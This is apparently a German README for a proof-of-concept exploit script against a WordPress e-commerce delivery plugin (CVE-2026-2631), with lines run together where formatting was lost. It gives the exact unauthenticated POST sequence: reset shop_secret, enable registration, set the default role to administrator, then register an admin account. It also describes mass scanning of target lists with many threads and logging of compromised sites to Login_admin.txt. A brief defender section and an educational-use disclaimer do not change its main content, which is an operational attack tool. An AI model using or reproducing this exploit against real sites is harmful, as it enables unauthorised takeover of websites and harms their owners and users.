
Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Nicht authentifizierte Rechteausweitung
Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Nicht authentifizierte Privilegienausweitung
PoC / Exploit-Skript:
CVE-2026-2631.py
Autor: Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
Kontakt: Telegram:@Kxploit
< 2.6.60 (exklusive)CVE-2026-26319.8 (Kritisch)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HDas Datalogics Ecommerce Delivery – Datalogics-Plugin legt einen nicht authentifizierten Endpunkt offen:
/wp-json/gsf/v1/update-options
Dieses Skript missbraucht diesen Endpunkt, um:
shop_secret-Schlüssel mithilfe der verwundbaren Aktion resetStoreConfigrations zurückzusetzen.users_can_register = 1.administrator zu setzen: default_role = administrator.wp-login.php?action=registerIm Erfolgsfall ist jeder neue Benutzer, der über das Registrierungsformular erstellt wird, ein Administrator.
users_can_register = 1default_role = administratorrich (farbige und live aktualisierte Tabelle).Login_admin.txt.Installiere die erforderlichen Pakete:
pip install -r requirements.txt
Beispiel requirements.txt:
requests
rich
urllib3
Oder manuell installieren:
pip install requests rich urllib3
Für jedes Ziel:
URL normalisieren
http:// vorangestellt wird, falls es fehlt.shop_secret zurücksetzen
/wp-json/gsf/v1/update-optionsaction = resetStoreConfigrationsshop_secret = <new_secret>app secret key has been updated successfullyWordPress-Optionen aktualisieren
action = createUpdateOptionoption_key = users_can_register, option_value = 1option_key = default_role, list.txt (oder einer benutzerdefinierten Datei).chunkify in N Blöcke auf.N Worker-Threads, die jeweils ihre eigene Zielliste verarbeiten.Queue für Statussmeldungen an den Printer-Thread.printer_loop) aktualisiert eine Live-rich-Tabelle:
python3 CVE-2026-2631.py
Sie werden interaktiv nach Folgendem gefragt:
Zieldatei
Targets file (one host/URL per line) [list.txt]:list.txtvictim.comhttps://target-site.comhttp://example.org/blogThreads
Threads (1-50) [10]:1050shop_secret-Wert
shop_secret [Nxploited_newSecret]:Nxploited_newSecretresetStoreConfigrations gesendet wird.Diese Anmeldedaten werden für den Registrierungsversuch auf jedem verwundbaren Ziel verwendet.
Erstelle list.txt (oder eine beliebige andere Datei) mit einem Ziel pro Zeile:
example1.com
http://example2.com
https://shop.example3.net
blog.target-site.org
Das Skript wird:
http:// hinzufügen, falls es fehlt./ entfernen.Alle erfolgreichen Vorgänge (auch wenn die Benutzerregistrierung fehlschlägt, aber die Optionen gesetzt wurden) werden geschrieben in:
Login_admin.txt
Eine typische Zeile:
http://example1.com | register_url: http://example1.com/wp-login.php?action=register | shop_secret: Nxploited_newSecret | reset_ok,option_ok,option_ok,register_open,registered user=Nx_test1 [email protected] pass=Nx_adminSA
Beispiele für Status in der Live-Tabelle:
SUCCESS – Optionen gesetzt und/oder Benutzer registriert.FAILED – Zurücksetzen/Optionen fehlgeschlagen, Schwachstelle nicht ausnutzbar.ERROR – Ausnahme, Netzwerkfehler, Zeitüberschreitungen usw.POST /wp-json/gsf/v1/update-options
shop_secret zurücksetzenaction=resetStoreConfigrations
shop_secret=<new_secret>
action=createUpdateOption
shop_secret=<new_secret>
option_key=users_can_register
option_value=1
action=createUpdateOption
shop_secret=<new_secret>
option_key=default_role
option_value=administrator
GET/POST /wp-login.php?action=register
Das Skript:
_wpnonce, falls vorhanden.normalize_site(raw: str) -> str
Normalisiert Ziel-URLs.
send_reset_secret(site: str, secret: str, timeout: int = 10) -> (bool, str)
Versucht die Aktion resetStoreConfigrations.
send_option(site: str, secret: str, key: str, value: str, timeout: int = 10) -> (bool, str)
Setzt WordPress-Optionen über den verwundbaren Endpunkt.
check_registration_open(site: str, timeout: int = 10) -> (bool, str)
Prüft, ob die Registrierung geöffnet und das Formular erreichbar ist.
try_register_user(...) -> (bool, str)
Versucht, den angegebenen Benutzer zu registrieren.
write_success_line(site: str, secret: str, detail: str)
Protokolliert Erfolgsdetails in Login_admin.txt.
worker(...)
Worker pro Thread, der:
$ python3 CVE-2026-2631.py
[Banner / ASCII Art]
Targets file (one host/URL per line) [list.txt]:
> list.txt
Threads (1-50) [10]:
> 20
shop_secret [Nxploited_newSecret]:
> NxSecret2026!
Registration username [Nx_test1]:
> admin_nx
Registration email [[email protected]]:
> [email protected]
Registration password [Nx_adminSA]:
> SuperStrongP@ss!
[Live table starts showing each target’s status]
Processed 5/20 targets · Output: Login_admin.txt
Done. Successful sites (if any) saved to Login_admin.txt.
Für Verteidiger / Website-Betreiber:
wp_users./wp-json/gsf/v1/update-options/wp-login.php?action=registerDieses Skript wird ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt.
Wenn Sie diesen Bedingungen nicht zustimmen, verwenden Sie dieses Skript nicht.
CVE-2026-2631@Kxploit auf TelegramBleiben Sie sicher, hacken Sie verantwortungsbewusst. 🕶️💻
option_value = administratorwordpress option has been created or updated successfullyPrüfen, ob die Registrierung geöffnet ist
/wp-login.php?action=registerUsers can register, Anyone can register, user_registration, registerformuser registration is currently not allowedBenutzerregistrierung versuchen
_wpnonce aus einem versteckten Eingabefeld, falls vorhanden.user_login, user_emailuser_pass/user_pass2, falls Passwortfelder existieren_wpnonce, _wp_http_referer, redirect_to, wp-submit=Registerregistration complete, check your email, user registereduser_already_existsProtokollierung
Login_admin.txt<site> | register_url: <url> | shop_secret: <secret> | <details>
Registrierungsanmeldedaten
Registration username [Nx_test1]:Registration email [[email protected]]:Registration password [Nx_adminSA]:shop_secretprinter_loop(queue: Queue, total: int)
Liest Nachrichten aus der Warteschlange und aktualisiert eine Live-rich-Tabellenoberflache.
main()
Koordiniert: